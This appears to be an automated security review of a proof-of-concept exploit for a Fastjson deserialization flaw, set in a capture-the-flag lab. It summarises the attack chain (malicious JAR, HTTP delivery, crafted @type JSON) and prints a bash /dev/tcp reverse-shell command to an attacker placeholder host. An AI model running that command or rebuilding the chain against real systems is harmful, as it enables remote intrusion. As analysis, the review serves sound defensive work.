Technical assessment
The artifact is a full exploit for CVE-2026-16723, a remote code execution vulnerability in Fastjson 1.2.68–1.2.83. The Python script `attacker/exploit.py` builds a malicious JAR containing Java classes with a static initializer that executes a reverse shell command, serves the JAR via HTTP, constructs a JSON payload that triggers a class-resource lookup in Fastjson's `checkAutoType` to fetch and load the remote JAR, and then listens for the reverse shell connection.
Backdoor review
No backdoor observed in reviewed code
The supplied evidence describes a PoC exploit for CVE-2026-16723, a Fastjson RCE vulnerability. The exploit script (attacker/exploit.py) builds a malicious JAR, serves it via HTTP, and delivers a crafted JSON payload to trigger remote code execution, ultimately providing a reverse shell. All behavior is consistent with the stated exploit goal and no concealed backdoor, unrelated payload, or operator-directed harm beyond the normal exploit was observed.
Model confidence98%
AuthenticationNot required
LanguagesPythonJava bytecode
Target softwareFastjson 1.2.68–1.2.83
Attack typesRemote Code ExecutionDeserialization of Untrusted DataServer-Side Request Forgery
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidenceClassification basis and observed behavior
Classification basis
The artifact contains a complete, self-contained Python script (`attacker/exploit.py`) that builds a malicious JAR, serves it, generates an exploit payload, and listens for a reverse shell. The README explicitly describes it as a PoC and provides step-by-step instructions for achieving remote code execution. This is code intended to exercise a vulnerability, not merely detect or report it.
attacker/exploit.py:1-243README.md:3README.md:49-87Requirements
- Target application uses Fastjson 1.2.68–1.2.83 with default configuration (AutoType disabled) and parses attacker-controlled JSON.
README.md:8-11README.md:31-33 - Target application is packaged as a Spring Boot executable fat-JAR.
README.md:9README.md:33 - Attacker can reach the target over the network and the target can make outbound HTTP connections to the attacker's machine.
README.md:50-51
Observed behavior
- Builds a JAR file containing a seed class and multiple payload classes. Each payload class has a static initializer (`<clinit>`) that executes a reverse shell command via `Runtime.getRuntime().exec`.
attacker/exploit.py:76-128attacker/exploit.py:199-210 - Starts an HTTP server to serve the malicious JAR to the target.
attacker/exploit.py:151-155attacker/exploit.py:221 - Constructs a JSON payload containing crafted `@type` values that cause Fastjson to fetch the attacker's JAR via `jar:http://` and then load classes via `jar:file:/proc/self/fd/` to achieve code execution.
attacker/exploit.py:213-218 - Starts a TCP listener to accept the reverse shell connection from the compromised target.
attacker/exploit.py:158-184attacker/exploit.py:239
Safety-review evidenceBehaviors behind the backdoor verdict
Observables
- Reverse Shell
- bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1The exploit establishes a reverse shell to the attacker's machine, which is the intended outcome of the RCE PoC.
attacker/exploit.py:199-201 - Payload Generation
- JAR file containing classes with static initializer that executes a commandThe script builds a JAR with a class whose <clinit> method runs Runtime.exec() with the reverse shell command, triggered by Fastjson deserialization.
attacker/exploit.py:76-128attacker/exploit.py:206-210 - Http Server
- ThreadingHTTPServer on 0.0.0.0:8000 serving the malicious JARThe script starts an HTTP server to deliver the JAR to the target, a necessary step in the exploit chain.
attacker/exploit.py:151-155attacker/exploit.py:221 - Ctf Flag
- EQST{F4STJS0N_SSRF_T0_RCE}A CTF flag is placed in the Docker container, indicating the lab environment is a capture-the-flag exercise.
Dockerfile:19
Review boundariesWhat the analysis did not establish
- The evidence packet includes only 4 of 9 files from the repository; 5 files are omitted with no content provided. The omitted files may contain additional context, but the included files are sufficient for classification.
- The analysis is based solely on static review of the provided source code; the code was not executed, and its operational reliability is not verified.
- 5 text files were omitted from the evidence packet and were not reviewed; their content could contain additional behavior.
- No binary files were present, but the evidence policy flags binary content as metadata-only and not analyzed.
- The review is limited to the supplied text content and does not include dynamic analysis or execution of the exploit.
Model interpretationThis review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.